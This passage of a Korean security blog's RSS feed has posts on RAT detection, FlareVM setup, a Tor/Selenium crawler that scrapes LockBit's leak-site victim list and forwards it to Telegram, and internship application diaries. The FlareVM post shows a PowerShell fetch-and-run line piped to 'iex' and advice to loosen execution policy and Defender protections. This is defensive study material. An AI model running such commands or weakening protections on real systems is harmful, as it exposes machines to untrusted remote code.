<li>데이터 유출: 민감한 개인 및 기업 정보 탈취 위험</li>
<li>시스템 손상: 무단 시스템 변경 및 추가 악성코드 설치 가능성</li>
<li>금융 사기: 온라인 뱅킹 정보 탈취로 인한 금전적 피해</li>
</ul>
<h2 id="5-분석-방법론-및-탐지-기법"><strong>5. 분석 방법론 및 탐지 기법</strong></h2>
<h3 id="--정적-분석"><strong>- 정적 분석</strong></h3>
<ul>
<li>PE/ELF 구조 분석: 엔트리 포인트, 섹션 구조, 임포트 테이블 검사</li>
<li>문자열 분석: 의심스러운 문자열, URL, API 호출 식별</li>
<li>시그니처 기반 탐지: 알려진 RAT 패턴과 대조</li>
</ul>
<h3 id="--동적-분석"><strong>- 동적 분석</strong></h3>
<ul>
<li>샌드박스 환경에서 실행 및 행위 분석</li>
<li>API 호출 모니터링: 시스템 변경, 네트워크 활동 관찰</li>
<li>네트워크 트래픽 분석: C2 서버와의 통신 패턴 식별</li>
</ul>
<h3 id="--회피-기법-및-대응책"><strong>- 회피 기법 및 대응책</strong></h3>
<p>회피 기법:</p>
<ul>
<li>샌드박스 탐지: 실행 지연, 환경 체크 등을 통해 분석 회피</li>
<li>코드 난독화: 정적 분석을 어렵게 만듦</li>
<li>암호화 통신: C2 서버와의 통신을 암호화하여 탐지 회피</li>
</ul>
<p>대응책:</p>
<ul>
<li>행위 기반 탐지: 의심스러운 시스템 활동 모니터링</li>
<li>네트워크 트래픽 분석 강화: 암호화된 통신 패턴 식별</li>
<li>머신러닝 기반 탐지: 알려지지 않은 변종 RAT 탐지</li>
</ul>
<h3 id="--rat-해결-방법론"><strong>- RAT 해결 방법론</strong></h3>
<ol>
<li>격리: 감염된 시스템을 네트워크에서 격리</li>
<li>분석: 악성코드 샘플 수집 및 상세 분석 수행</li>
<li>제거: 전문 안티멀웨어 도구를 사용하여 RAT 완전 제거</li>
<li>복구: 시스템 복원 및 패치 적용</li>
<li>모니터링: 재감염 여부 지속적 관찰</li>
<li>예방: 보안 정책 강화 및 사용자 교육 실시</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[FlareVM(악성코드 분석 및 리버싱 환경)]]></title>
            <link>https://velog.io/@hae_to/FlareVM%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%A6%AC%EB%B2%84%EC%8B%B1-%ED%99%98%EA%B2%BD</link>
            <guid>https://velog.io/@hae_to/FlareVM%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%A6%AC%EB%B2%84%EC%8B%B1-%ED%99%98%EA%B2%BD</guid>
            <pubDate>Thu, 06 Feb 2025 11:26:22 GMT</pubDate>
            <description><![CDATA[<h2 id="1-flarevm이란">1. FlareVM이란?</h2>
<p>FlareVM은 FireEye/Mandiant에서 개발한 Windows 기반의 보안 연구 및 악성코드 분석을 위한 가상 머신 환경이다. 일반적인 Windows 운영체제는 보안이 강화되어 있어 악성코드를 분석하거나 해킹 관련 도구를 실행하기 어렵다. 하지만 FlareVM은 리버스 엔지니어링, 취약점 연구, 포렌식 분석을 위한 다양한 툴이 사전 설치된 맞춤형 Windows 환경을 제공한다.</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/949d729b-f0ef-4633-8d67-40c01bc3afa3/image.png" alt=""></p>
<p>FlareVM은 Windows Defender 및 기타 보안 기능이 비활성화된 상태로 설정되어 있어, 악성코드 분석과 같은 실험을 보다 원활하게 진행할 수 있다. 이 환경은 가상 머신에서 실행할 수 있기 때문에 분석 후 간편하게 원상 복구가 가능하다는 장점이 있다.</p>
<hr>
<h2 id="2-flarevm에서-가장-많이-사용되는-주요-도구-5가지">2. FlareVM에서 가장 많이 사용되는 주요 도구 5가지</h2>
<p>FlareVM에는 다양한 분석 및 해킹 도구가 포함되어 있지만, 아래 5개 도구는 가장 많이 사용되는 필수 프로그램이다.</p>
<h3 id="1️⃣-ida-free---바이너리-분석-및-디스어셈블러">1️⃣ IDA Free - 바이너리 분석 및 디스어셈블러</h3>
<p><img src="https://velog.velcdn.com/images/hae_to/post/5bfbab1b-ffc7-4b1d-abee-39fc77ad091d/image.png" alt=""></p>
<ul>
<li><p>IDA Pro의 무료 버전으로, 바이너리 코드를 분석하고 어셈블리 코드로 변환하는 강력한 리버스 엔지니어링 도구이다.</p>
</li>
<li><p>악성코드의 실행 흐름을 분석하고 특정 함수나 암호화 알고리즘을 확인하는 데 사용된다.</p>
</li>
</ul>
<hr>
<h3 id="2️⃣-ghidra---오픈소스-리버스-엔지니어링-도구">2️⃣ Ghidra - 오픈소스 리버스 엔지니어링 도구</h3>
<p><img src="https://velog.velcdn.com/images/hae_to/post/eac6a4f3-6371-4c12-9fca-647ad029e4ec/image.png" alt=""></p>
<ul>
<li><p>미국 NSA에서 개발한 강력한 바이너리 분석 도구로, 다양한 아키텍처를 지원하며 IDA Pro와 유사한 기능을 제공한다.</p>
</li>
<li><p>IDA Pro의 대체제로 활용하며, 디컴파일된 C 코드 수준에서 악성코드를 분석할 때 유용하다.</p>
</li>
</ul>
<hr>
<h3 id="3️⃣-x64dbg---디버거-및-메모리-분석-도구">3️⃣ x64dbg - 디버거 및 메모리 분석 도구</h3>
<p><img src="https://velog.velcdn.com/images/hae_to/post/6bfc2e49-1921-4680-a1be-24ac50b46002/image.png" alt=""></p>
<ul>
<li><p>x64dbg는 Windows 실행 파일(EXE, DLL 등)의 동작을 추적하는 디버깅 도구이다.</p>
</li>
<li><p>악성코드가 실행될 때 어떤 API를 호출하는지 확인하고, 특정 조건에서 프로그램의 동작을 변경하는 데 사용된다.</p>
</li>
</ul>
<hr>
<h3 id="4️⃣-process-hacker---실시간-프로세스-모니터링-도구">4️⃣ Process Hacker - 실시간 프로세스 모니터링 도구</h3>
<p><img src="https://velog.velcdn.com/images/hae_to/post/957743ad-6861-4a62-8ce5-a0f3d3b4be40/image.png" alt=""></p>
<ul>
<li><p>Windows에서 실행 중인 모든 프로세스를 확인하고 제어할 수 있는 강력한 도구이다.</p>
</li>
<li><p>악성코드가 숨겨둔 백그라운드 프로세스를 찾아내거나, 특정 프로세스가 어떤 네트워크 연결을 시도하는지 분석할 때 유용하다.</p>
</li>
</ul>
<hr>
<h3 id="5️⃣-wireshark---네트워크-패킷-분석-도구">5️⃣ Wireshark - 네트워크 패킷 분석 도구</h3>
<p><img src="https://velog.velcdn.com/images/hae_to/post/c551f741-35ce-430f-9edd-deced22e86ec/image.png" alt=""></p>
<ul>
<li><p>네트워크 트래픽을 실시간으로 캡처하고 분석할 수 있는 오픈소스 도구이다.</p>
</li>
<li><p>악성코드가 특정 C2(Command &amp; Control) 서버와 통신하는지 확인하고, 데이터 유출 여부를 분석하는 데 사용된다.</p>
</li>
<li><p>이 외에도 OllyDbg, PE-bear, YARA, Regshot, Autoruns 등의 도구들이 포함되어 있어 악성코드 분석과 리버스 엔지니어링을 보다 체계적으로 진행할 수 있다.</p>
</li>
</ul>
<hr>
<h2 id="3-flarevm-간단한-설치-방법">3. FlareVM 간단한 설치 방법</h2>
<p>FlareVM을 설치하는 과정은 다음과 같은 단계로 진행된다.</p>
<h3 id="🔹-1단계-windows-가상-머신-준비">🔹 1단계: Windows 가상 머신 준비</h3>
<ul>
<li>FlareVM은 Windows 환경에서만 동작하므로, UTM, VMware, VirtualBox 같은 가상 머신을 사용해 Windows 10 또는 11을 설치해야 한다.</li>
<li>필자는 M1_Pro에서 UTM(Window11(arm))에서 FlareVM을 설치하였다.</li>
</ul>
<p>✅ 필수 준비:</p>
<ul>
<li><p>Windows 10 또는 11 가상 머신 (RAM 최소 4GB 이상)</p>
</li>
<li><p>인터넷 연결 가능 (FlareVM 설치 시 여러 패키지를 다운로드함)</p>
</li>
<li><p>관리자(Administrator) 계정 사용</p>
</li>
</ul>
<h3 id="🔹-2단계-powershell을-관리자-권한으로-실행">🔹 2단계: PowerShell을 관리자 권한으로 실행</h3>
<ol>
<li><p>Win + S를 눌러 PowerShell을 검색한다.</p>
</li>
<li><p><strong>&quot;관리자 권한으로 실행&quot;</strong>을 클릭한다.</p>
</li>
<li><p>아래 명령어를 입력하여 실행 정책을 변경한다:</p>
</li>
</ol>
<pre><code>Set-ExecutionPolicy Unrestricted -Force</code></pre><h3 id="🔹-3단계-flarevm-설치-스크립트-실행">🔹 3단계: FlareVM 설치 스크립트 실행</h3>
<p>아래 명령어를 입력하여 FlareVM 설치를 시작한다.</p>
<pre><code>iwr -useb https://raw.githubusercontent.com/mandiant/flare-vm/master/install.ps1 | iex</code></pre><p>이 스크립트는 FlareVM의 패키지를 자동으로 다운로드하고 설치한다.</p>
<p>설치가 완료되면 가상 머신이 여러 번 자동으로 재부팅될 수 있으니 놀라지말자.</p>
<h3 id="🔹-4단계-설치-완료-후-확인">🔹 4단계: 설치 완료 후 확인</h3>
<p>설치가 정상적으로 완료되면, 바탕화면에 FLARE 관련 아이콘들이 생성된다.</p>
<p>또한, C:\Tools\ 폴더를 확인하면 다양한 분석 도구들이 설치되어 있는 것을 확인할 수 있다.</p>
<p>✅ 설치 후 권장 설정:</p>
<ul>
<li><p>Windows Defender 예외 목록에 C:\Tools\ 추가</p>
</li>
<li><p>UTM 또는 VMware에서 가상 머신의 네트워크 모드를 &quot;NAT&quot; 또는 &quot;Bridge&quot;로 설정하여 인터넷 연결 유지</p>
</li>
<li><p>중요한 작업 전에 UTM의 <strong>스냅샷(Snapshot)</strong>을 저장하여 복구 가능하도록 설정
ㄴ&gt; 필자는 FlareVM 설치 전-후 하나씩 스냅샷을 저장해놓았다.</p>
</li>
</ul>
<hr>
<p>이번에 악성코드 분석 및 보고서를 작성, 더 나아가 악성코드 분석 자동화 시스템을 구축해 보는 프로젝트를 진행하게 되었다.</p>
<p>필자는 아직 악성코드를 분석해 본 경험이 없어서 환경구축에 고민이 많았는데 이렇게 All_in_1(?) 플랫폼이 있어서 다행이라고 생각한다.</p>
<p>이번 기회에 다양한 분석 Tool을 사용해 보고 그 결과들을 조합하여 악성코드의 정체를 파헤치는 경험을 해볼 수 있을 거 같아 기대된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[랜섬웨어 릭사이트 파싱]]></title>
            <link>https://velog.io/@hae_to/%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EB%A6%AD%EC%82%AC%EC%9D%B4%ED%8A%B8-%ED%8C%8C%EC%8B%B1</link>
            <guid>https://velog.io/@hae_to/%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EB%A6%AD%EC%82%AC%EC%9D%B4%ED%8A%B8-%ED%8C%8C%EC%8B%B1</guid>
            <pubDate>Wed, 22 Jan 2025 22:40:38 GMT</pubDate>
            <description><![CDATA[<p>이번에는 이전 글에서 말했듯 릭사이트 파싱 코드의 디테일을 공유하고자 한다.</p>
<h2 id="릭사이트-선정">릭사이트 선정</h2>
<p>먼저, 자신이 어떤 릭사이트를 파싱할 것인가를 먼저 선정해야한다. 필자와 팀원들은 릭사이트 소유 단체의 유명세, 규모, 활동성, 릭사이트의 구조, 릭사이트 운영상황 등을 고려하여 <strong>[LockBit]</strong>을 선정하였다.
<img src="https://velog.velcdn.com/images/hae_to/post/1130da32-b109-49b8-8d81-5bb393c72ff1/image.png" alt=""></p>
<p>LockBit은 랜섬웨어 그룹들 중 굉장히 높은 활동성, 유명세, 규모 등 어디하나 빠지지않는 그룹이다. 그리고 릭사이트에 캡챠 또는 클라우드플레어 등 봇 탐지 시스템이 없어서 따로 우회를 고려해야할 필요가 없다.</p>
<h2 id="lockbit-랜섬웨어-그룹-크롤러-기능과-활용">Lockbit 랜섬웨어 그룹 크롤러: 기능과 활용</h2>
<h3 id="코드의-주요-기능">코드의 주요 기능</h3>
<p>이 코드는 아래 기능을 수행한다</p>
<ol>
<li><p><strong>Tor 프록시 확인</strong></p>
<ul>
<li>다크웹에 접근하기 위해 Tor 네트워크가 활성화되었는지 확인.</li>
<li>Tor가 실행되지 않았을 경우 사용자에게 알림을 제공.</li>
</ul>
</li>
<li><p><strong>Selenium을 사용한 데이터 크롤링</strong></p>
<ul>
<li>Lockbit의 onion 사이트에 접속하여 피해자 목록을 수집.</li>
<li>사이트 구조를 분석하여 데이터를 효율적으로 추출.</li>
</ul>
</li>
<li><p><strong>Telegram API를 통한 데이터 전송</strong></p>
<ul>
<li>수집된 피해자 목록을 Telegram 봇을 통해 실시간으로 공유.</li>
</ul>
</li>
</ol>
<h3 id="주요-코드-설명">주요 코드 설명</h3>
<h4 id="1-tor-프록시-확인">1. Tor 프록시 확인</h4>
<p>Tor 프록시를 통해 다크웹에 접속하려면 연결 상태를 확인해야한다.</p>
<pre><code class="language-python">import socket

def check_tor_proxy():
    try:
        with socket.create_connection((&quot;127.0.0.1&quot;, 9050), timeout=5):
            print(&quot;Tor proxy is running on 127.0.0.1:9050&quot;)
            return True
    except Exception as e:
        print(&quot;Tor proxy is not running. Please start the Tor service.&quot;)
        return False</code></pre>
<p>위 함수는 Tor가 실행 중인지 확인하고, 실행 중이 아닐 경우 경고 메시지를 출력한다.</p>
<h4 id="2-selenium을-활용한-크롤링">2. Selenium을 활용한 크롤링</h4>
<p>Selenium은 다크웹 페이지의 동적 요소를 처리하고 데이터를 수집하는 데 사용된다.</p>
<pre><code class="language-python">from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
import time

def main():
    chrome_options = webdriver.ChromeOptions()
    chrome_options.add_argument(&quot;--proxy-server=socks5://127.0.0.1:9050&quot;)
    chrome_options.add_argument(&quot;user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0&quot;)

    driver = webdriver.Chrome(service=webdriver.chrome.service.Service(ChromeDriverManager().install()), options=chrome_options)

    base_url = &quot;http://lockbit3753ekiocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion&quot;

    driver.get(base_url)
    time.sleep(5)

    sendMessage = &#39;&#39;
    for i in range(1, 17):
        try:
            title = driver.find_element(&quot;xpath&quot;, f&#39;/html/body/div[3]/div[1]/div/a[{i}]/div[1]/div/div/div[1]&#39;)
            sendMessage += title.text + &#39;\n&#39;
        except Exception as e:
            print(f&quot;Error parsing element {i}: {e}&quot;)

    driver.quit()</code></pre>
<p>위 코드는 Lockbit 사이트에 접속한 후 피해자 목록 데이터를 추출한다. 크롤링 과정에서 동적 데이터를 처리하기 위해 Selenium의 <code>xpath</code> 선택자를 활용한다.</p>
<ul>
<li>xpath: HTML문서의 상대경로 혹은 절대경로를 기준으로 요소에 접근할때 활용됨. 다만, 페이지가 동적이거나, 구조가 변경될시 작동하지 않으며, 너무 다량의 요소에 접근하려하면 성능이 떨어지는 단점이 있음</li>
</ul>
<h4 id="3-telegram으로-데이터-전송">3. Telegram으로 데이터 전송</h4>
<p>수집된 데이터를 Telegram API를 통해 전송하여, 팀원들과 실시간으로 공유할 수 있음.</p>
<pre><code class="language-python">import requests

def send_message(text):
    api_key = &quot;YOUR_API_KEY&quot;
    chat_id = &quot;YOUR_CHAT_ID&quot;
    send_message_api = f&quot;https://api.telegram.org/bot{api_key}/sendMessage&quot;

    try:
        response = requests.post(
            url=send_message_api, data={&quot;chat_id&quot;: chat_id, &quot;text&quot;: text}
        )
        print(&quot;Message sent:&quot;, response.status_code)
    except Exception as e:
        print(f&quot;Error sending message: {e}&quot;)</code></pre>
<h3 id="실행-방법">실행 방법</h3>
<ol>
<li><p><strong>Python 환경 설정</strong>: Python 3.10 이상에서 실행하여야함.</p>
</li>
<li><p><strong>필수 라이브러리 설치</strong>: <code>pip install selenium webdriver_manager requests</code> 명령어로 필요한 라이브러리를 설치.</p>
</li>
<li><p><strong>Tor 설정</strong>: Tor 브라우저를 설치하고 실행. 기본 설정에서 Tor는 <code>127.0.0.1:9050</code> 포트를 사용.</p>
</li>
<li><p><strong>Telegram API 설정</strong>: 봇을 생성하고 API 키와 Chat ID를 입력.</p>
</li>
</ol>
<hr>
<p>이번 크롤링을 통해서 파싱 사이트 선정부터 코드 제작 및 실행까지 하나의 프로세스를 경험한 것이 굉장히 좋았다. 덕분에 다양한 릭사이트와 포럼들을 돌아다녀볼 수 있었고, 특히 랜섬웨어 그룹들의 동향과 근황들에대해서 뉴스를 많이 접할 수 있어서 좋았던거같다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[랜섬웨어 그룹 조사와 파싱]]></title>
            <link>https://velog.io/@hae_to/%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EA%B7%B8%EB%A3%B9-%EC%A1%B0%EC%82%AC%EC%99%80-%ED%8C%8C%EC%8B%B1-%ED%95%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@hae_to/%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EA%B7%B8%EB%A3%B9-%EC%A1%B0%EC%82%AC%EC%99%80-%ED%8C%8C%EC%8B%B1-%ED%95%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Thu, 09 Jan 2025 06:49:49 GMT</pubDate>
            <description><![CDATA[<p>이번에는 필자가 참여중인 부트캠프에서 진행했던, 소규모 프로젝트이다. 이번글에서는 전반적인 개요와 틀 정도를 소개하고 다음글에 디테일을 작성해볼까한다.</p>
<p>프로젝트 주제는 다크웹/딥웹에서 자신이 원하는 곳(해킹포럼, 랜섬웨어 그룹 릭사이트 등)에서 정보를 파싱해와서 정리까지 해보는 주제이다.</p>
<p>이에 필자와 팀원들은 <strong>[LockBit]</strong>이라는 랜섬웨어 갱단에대해서 조사를해보고, 해당 랜섬웨어 릭사이트의 정보를 텔레그램 봇을 통해 파싱까지 해보았다.</p>
<p>일단 조사 및 파싱 타겟은 LockBit이라는 랜섬웨어 그룹으로 정했다. 이 그룹은 대기업(?)급의 그룹이다. 그래서 릭사이트도 크고, 데이터량도 많아서 본 프로젝트를 진행하는데에 적합하다고 생각하여 선정하였다.</p>
<h2 id="--lockbit의-기본정보">- [LockBit]의 기본정보</h2>
<p><img src="https://velog.velcdn.com/images/hae_to/post/a008a556-413b-40f8-8c71-26149ee3c91d/image.png" alt="">ㄴ&gt; LockBit 릭사이트 메인페이지</p>
<h3 id="주요-특징">주요 특징</h3>
<p>LockBit의 메인 사이트는 감염된 기업에 협박 메시지를 전하며, 요구 금액을 지급하지 않을 경우 탈취한 데이터를 공개한다. 특정 시간 내 협상이 이루어지지 않으면 데이터를 유출하며, 다운로드 링크를 게시하기도 한다.</p>
<p>특히, LockBit은 조직적이고 철저한 방식을 통해 그룹의 신원을 감추며, 민감 정보를 누구나 쉽게 다운로드할 수 있게 공개하기도 한다.</p>
<h3 id="운영-방침">운영 방침</h3>
<p>LockBit은 그들만의 규칙을 따릅니다. 예를 들어, 원자력 발전소와 같은 주요 인프라를 공격할 때는 파일 암호화를 사용하지 않고, 데이터 탈취에 초점을 둡니다. 반면, 경찰 및 법 집행 기관을 대상으로는 적극적인 공격을 권장한다. 이러한 규칙을 통해 그룹의 활동 범위를 명확히 설정하고, 공격 대상을 구체화하고 있다.</p>
<h3 id="공격-방식">공격 방식</h3>
<p>LockBit의 주요 감염 경로는 피싱 이메일이다. 최근에는 IMG 파일을 사용해 보안 경고를 우회하는 방법을 활용하고 있으며, 감염 후 파일을 암호화해 사용 불가능하게 만든다. 감염된 시스템에는 Tor 주소와 함께 README.txt 파일을 남겨 공격자와의 협상을 유도한다.</p>
<h2 id="--텔레그램-봇-생성">- 텔레그램 봇 생성</h2>
<p><img src="https://velog.velcdn.com/images/hae_to/post/056d030c-e450-462e-a1bc-dc996db2351a/image.png" alt=""></p>
<p>이어서 릭사이트를 파싱하여 그 결과를 전달해줄 봇을 생성해야한다.</p>
<p>텔레그램에서 BotFather를 이용해서 본인만의 봇을 생성하여 해당 봇의 Chat_id와 api_key를 확인하여 파싱코드에 결합하여 사용할 수 있도록 하였다.</p>
<h2 id="--파싱하기">- 파싱하기</h2>
<p>릭사이트에 접속해서 해당 페이지의 구조를 확인하고 자신이 원하는 정보의 위치를 확인하고 해당 부분을 파싱하면 된다.</p>
<p>필자는 릭사이트 한개만 파싱을 진행하기에 셀리니움을 이용해서 json형태로 데이터를 파싱하는 방식으로 코드를 만들었다.</p>
<p>여기까지가 릭사이트 파싱의 전반적인 과정이다. 앞서 말했듯 디테일한 부분은 추후에 좀 더 기술하도록하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Ahn-Lab 2025 상반기 현장실습인턴 지원기(면접 및 결과)]]></title>
            <link>https://velog.io/@hae_to/Ahn-Lab-2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%98%84%EC%9E%A5%EC%8B%A4%EC%8A%B5%EC%9D%B8%ED%84%B4-%EC%A7%80%EC%9B%90%EA%B8%B0%EB%A9%B4%EC%A0%91-%EB%B0%8F-%EA%B2%B0%EA%B3%BC</link>
            <guid>https://velog.io/@hae_to/Ahn-Lab-2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%98%84%EC%9E%A5%EC%8B%A4%EC%8A%B5%EC%9D%B8%ED%84%B4-%EC%A7%80%EC%9B%90%EA%B8%B0%EB%A9%B4%EC%A0%91-%EB%B0%8F-%EA%B2%B0%EA%B3%BC</guid>
            <pubDate>Thu, 26 Dec 2024 09:16:35 GMT</pubDate>
            <description><![CDATA[<p>이전 글에 이어서 이번에는 면접에 관한 글이다.</p>
<p>서류전형에 합격하고 나서 1주 정도? 뒤에 면접 일정이 잡혔고, 면접 장소와 시간은 면접일 3시부터 30분간 판교에 자리 잡고 있는 안랩 본사에서 진행되었다.</p>
<p>필자는 면접 시작 1시간 전에 판교에 도착해서 낯선 주변 분위기(?)에 적응하고, 커피 한 잔 마시면서 필자가 제출했었던 자소서와 안랩에서 출간하고 있는 블로그 글을 읽으면서 면접 준비를 마무리하였다.</p>
<p>회사로 들어가서 프런트 직원분께 방문 목적을 말씀드리고 방문자용 카드를 받으면 대기실로 들어갈 수 있었다.</p>
<p>30분 정도 대기를 하고, 안내된 방으로 입장하여 바로 면접이 시작되는 구조이며, 들어갈 때는 이름순으로 순서를 맞춰서 입장하였다.</p>
<p>면접은 3대3으로 진행되었고, 시작은 가볍게 자기소개하는 것으로 면접이 진행되었고, 9명 중의 2명을 선발한다고 안내를 받았다.</p>
<p>필자가 받은 질문은 아래와 같다.(기억에 의존해서 작성하기에 순서 또는 질문 내용이 다를 수 있음)</p>
<ol>
<li>자기소개</li>
<li>어쩌다가 보안 분야로 진로를 잡았는지?
3-1. 본인의 장단점 1개씩
3-2. 싫어하는 사람과 일을 해야 한다면 어떻게 하겠는가? (장점 및 단점의 꼬리 질문)</li>
<li>본인의 MBTI</li>
<li>악성코드 분석해 본 적이 있는지?</li>
<li>글 쓰는 것에 거부감이 있는지?</li>
<li>본인이 진행한 프로젝트에 대해서 짧게 설명</li>
<li>해당 프로젝트에서 본인은 어떤 역할이었는지?</li>
</ol>
<p>[타인이 받은 질문]</p>
<ol>
<li>안랩에서 출간하는 글을 본 적이 있는가?</li>
<li>영어 실력은 어느 정도인가?</li>
<li>프로젝트 관련 질문</li>
</ol>
<p>안랩 면접은 본인이 제출한 포트폴리오(프로젝트)를 중심으로 꼬리 질문을 많이 하는 스타일의 면접으로 알고 있었기에 과거에 진행했던 프로젝트를 다시 상기시키고, 더 나아가서 안랩에서 출간한 블로그 글을 읽어보면서, 질문에 대한 답변을 준비했었지만</p>
<p>막상 현장에서는 프로젝트에 대한 질문은 몇 개 없었고, 대부분이 그냥 인성 관련 질문들이었다. 오히려 같이 면접을 진행했던 분들은 프로젝트 혹은 활동들에 대한 질문이 다수를 이뤘다.</p>
<p>그리고 질문들을 보면 알 수 있듯 즉석에서 어렵지 않게 답변할 수 있는 질문들이어서 답변하는 태도나 자세에 신경 쓰면서(면접관을 쳐다보면서 자신 있는 목소리 등) 답변을 이어 나갔고, 미리 준비했었던 예상 질문들에 대한 답변을 곱씹으면서 면접을 치렀던 거 같다.</p>
<p>30분으로 예상되었던 면접은 5~10분? 정도 더 진행되어서야 끝났고, 이후에는 7일에서 10일 사이쯤 면접 결과가 나왔다.</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/6544aa6f-7ba9-4760-aec3-2960241cfe64/image.PNG" alt=""></p>
<p>면접 결과는 아쉽게도 불합격을 받았다….최종결과는 불합격이라 굉장히 아쉽고 또 아쉬웠지만, 그래도 일련의 과정을 거치면서 언젠가 또 치르게 될 면접을 준비하는 나만의 프로세스를 만드는 데 도움이 많이 될 그런 경험이었다.</p>
<p>옷깃만 스쳐도 인연이라는데 이렇게 면접까지 봤으니 언젠가 또 인연이 되어 그때는 안랩에 입사할지도 모를 일이 아닌가 생각하며 이번 안랩 인턴 도전기를 마무리 지었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Ahn-Lab 2025 상반기 현장실습인턴 지원기(서류전형)]]></title>
            <link>https://velog.io/@hae_to/Ahn-Lab-2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%98%84%EC%9E%A5%EC%8B%A4%EC%8A%B5%EC%9D%B8%ED%84%B4-%EC%A7%80%EC%9B%90%EA%B8%B0%EC%84%9C%EB%A5%98%EC%A0%84%ED%98%95</link>
            <guid>https://velog.io/@hae_to/Ahn-Lab-2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%98%84%EC%9E%A5%EC%8B%A4%EC%8A%B5%EC%9D%B8%ED%84%B4-%EC%A7%80%EC%9B%90%EA%B8%B0%EC%84%9C%EB%A5%98%EC%A0%84%ED%98%95</guid>
            <pubDate>Thu, 12 Dec 2024 10:36:02 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/hae_to/post/6e020359-9061-451f-b857-499d3fad458f/image.png" alt=""></p>
<p>이번에 안랩에서 진행하는 2025 상반기 현장실습인턴에 <strong>Threat Intelligence Service</strong> 포지션에 지원하였다.</p>
<p>과거 <strong>WHS_1기</strong>를 수료했고, 지금은 <strong>구름x카카오 DeepDive</strong> 정보보호 과정을 참여하면서</p>
<p>다크웹과 딥웹에대한 경험이 있었기에 이를 바탕으로 이번 인턴쉽에 해당 포지션으로 지원하게 되었다.</p>
<p>지원서에는 본인의 신상정보, 수상내역, 자격증, 교육수료내역, 어학 등을 기입하고 자기소개서를 작성하도록 되어 있었다.</p>
<p>*근데 이상하게도 어학관련 내역을 기입하는 부분은 없었다;; 그래서 Opic등급을 따로 기입하지는 못했다.</p>
<p>자기소개서 질문은 총 2개가 있었고, 답변은 질문의 흐름과 같은 순서로 작성하였다.</p>
<blockquote>
<h3 id="1-본인이-지원하는-직무에-관심을-갖게-된-계기와-이-직무를-수행하기-위해-어떤-노력을-했는지-작성해-주세요700자">1. 본인이 지원하는 직무에 관심을 갖게 된 계기와, 이 직무를 수행하기 위해 어떤 노력을 했는지 작성해 주세요.(700자)</h3>
</blockquote>
<ul>
<li>보안에 관심을 두게된 계기 + 다크웹/딥웹을 선택한 이유<ul>
<li>보안에 입문하기위해 행했던 과정(WHS에 참여)</li>
<li>그 과정중에 직무와 연관된 경험(필자는 프로젝트를 소개하고, 당시 나의 역할을 서술하였음)</li>
</ul>
</li>
</ul>
<blockquote>
<h3 id="2-그-밖에-본인에-대해-어필하고-싶은-부분을-자유롭게-작성해-주세요1000자">2. 그 밖에 본인에 대해 어필하고 싶은 부분을 자유롭게 작성해 주세요.(1000자)</h3>
</blockquote>
<ul>
<li>본인의 장점</li>
<li>본인의 단점 + 이를 보완하기위한 방안</li>
<li>인턴쉽에서 기대하는 부분</li>
<li>인턴쉽이 나에게 끼치는 영향과 그로인한 나의 성장</li>
</ul>
<p>답변을 작성할때는 최대한 정량적인 표현과 담백하게 작성하려 노력했고, 배우고자하는 스탠스를 취했다.</p>
<p>그리고 글자수 제한이 의외로 빠듯하기때문에 일단 본인의 스타일대로 글을 작성하고, 글자수 제한에 맞춰서 수정하는 것이 좀 더 수월하게 글을 작성할 수 있다.</p>
<p>더 나아가 가능하다면, 주변 지인들에게 보여주고 어떻게 읽히는지? 어떤 부분이 기억에 남는지? 등을 물어보고, 참고해서 글을 다듬는 것이 좋다.</p>
<p>아울러 자소서 답변을 바탕으로 예상질문까지 만들어야하기 때문에 검수를 넉넉히하면 면접 준비가 편해진다.</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/9f16e9b3-6fb6-4147-8b2f-a712c859f6f8/image.png" alt=""></p>
<p>5~6일 정도 지나고 나면 이렇게 합격 여부를 알려주는 메일이 도착하며, 필자는 다행히 서류전형에 합격하였다.</p>
<p>그리고 나서 다음주에 면접이 일정이 잡히며, 안랩 본사로 방문하여 면접을 진행하면 끝이다.</p>
<p>다음에는 면접에대한 글을 이어서 작성해보겠다.</p>
]]></description>
        </item>
    </channel>
</rss>